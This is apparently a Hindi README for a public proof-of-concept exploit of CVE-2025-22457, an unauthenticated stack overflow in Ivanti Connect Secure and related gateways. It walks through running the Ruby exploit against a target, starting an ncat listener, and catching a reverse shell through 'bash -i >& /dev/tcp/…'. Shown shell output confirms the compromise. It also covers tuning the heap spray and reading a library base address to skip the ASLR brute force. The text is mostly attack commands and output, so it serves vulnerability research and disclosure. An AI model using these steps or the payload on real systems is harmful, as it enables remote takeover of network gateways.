
CVE-2025-22457 के लिए PoC - एक दूरस्थ, बिना प्रमाणीकरण वाला स्टैक-आधारित बफर ओवरफ्लो जो Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, और ZTA Gateways को प्रभावित करता है
एक रिमोट अनप्रमाणित स्टैक-आधारित बफर ओवरफ्लो जो Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure और ZTA Gateways को प्रभावित करता है
यह CVE-2025-22457 के शोषण को प्रदर्शित करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है। कमजोरी और शोषण रणनीति के पूर्ण तकनीकी विश्लेषण के लिए, कृपया हमारा Rapid7 विश्लेषण यहाँ देखें:
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
हम इस स्क्रिप्ट को एक कमजोर Ivanti Connect Secure लक्ष्य, संस्करण 22.7r2.4 के विरुद्ध इस प्रकार चला सकते हैं:
रिवर्स शेल को पकड़ने के लिए netcat लिसनर शुरू करें।
C:\>ncat -lnvkp 8080
एक्सप्लॉइट चलाएँ और ASLR को ब्रूट फोर्स करें (यह धीमा होगा)।
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
जब यह काम करेगा तो आपको एक रिवर्स शेल मिलेगा।
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
अंतर्निहित हार्डवेयर के आधार पर, लक्ष्य उपकरण के लिए उपलब्ध CPU की संख्या यह निर्धारित करेगी कि /home/bin/web बाइनरी कितनी चाइल्ड प्रक्रियाएँ उत्पन्न करेगी। चूँकि सभी आने वाले HTTPS अनुरोध इन चाइल्ड प्रक्रियाओं के बीच समान रूप से वितरित किए जाएंगे, हमें इसका ध्यान रखना होगा और सभी चाइल्ड प्रक्रियाओं के लिए पर्याप्त बार हीप स्प्रे करना होगा। हमें ऐसा इसलिए करना है क्योंकि जब हम कमजोरी को ट्रिगर करते हैं, तो हम यह नहीं जान सकते कि हम इसे किस चाइल्ड प्रक्रिया में ट्रिगर करेंगे। इसलिए हमें चाहिए कि हीप स्प्रे हर चाइल्ड प्रक्रिया में मौजूद हो।
उदाहरण के लिए, एक रूट किए गए कमजोर उपकरण में, चाइल्ड /home/bin/web प्रक्रियाओं की संख्या देखने के लिए निम्नलिखित चलाएँ:
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
आप --web_children तर्क के माध्यम से अपेक्षित वेब चाइल्ड की संख्या निर्दिष्ट कर सकते हैं, उदाहरण के लिए:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
यदि आप किसी स्थानीय सिस्टम पर PoC का परीक्षण कर रहे हैं, तो आप libdsplibs बेस एड्रेस को ब्रूटफोर्स करने से बचना चाह सकते हैं। इस परिदृश्य में, आप --libdsplibs तर्क के माध्यम से PoC को एक ज्ञात बेस एड्रेस पास कर सकते हैं। उदाहरण के लिए, एक रूट किए गए कमजोर उपकरण में, निम्नलिखित चलाएँ:
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
फिर आप ज्ञात बेस एड्रेस को PoC में इस प्रकार पास कर सकते हैं:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...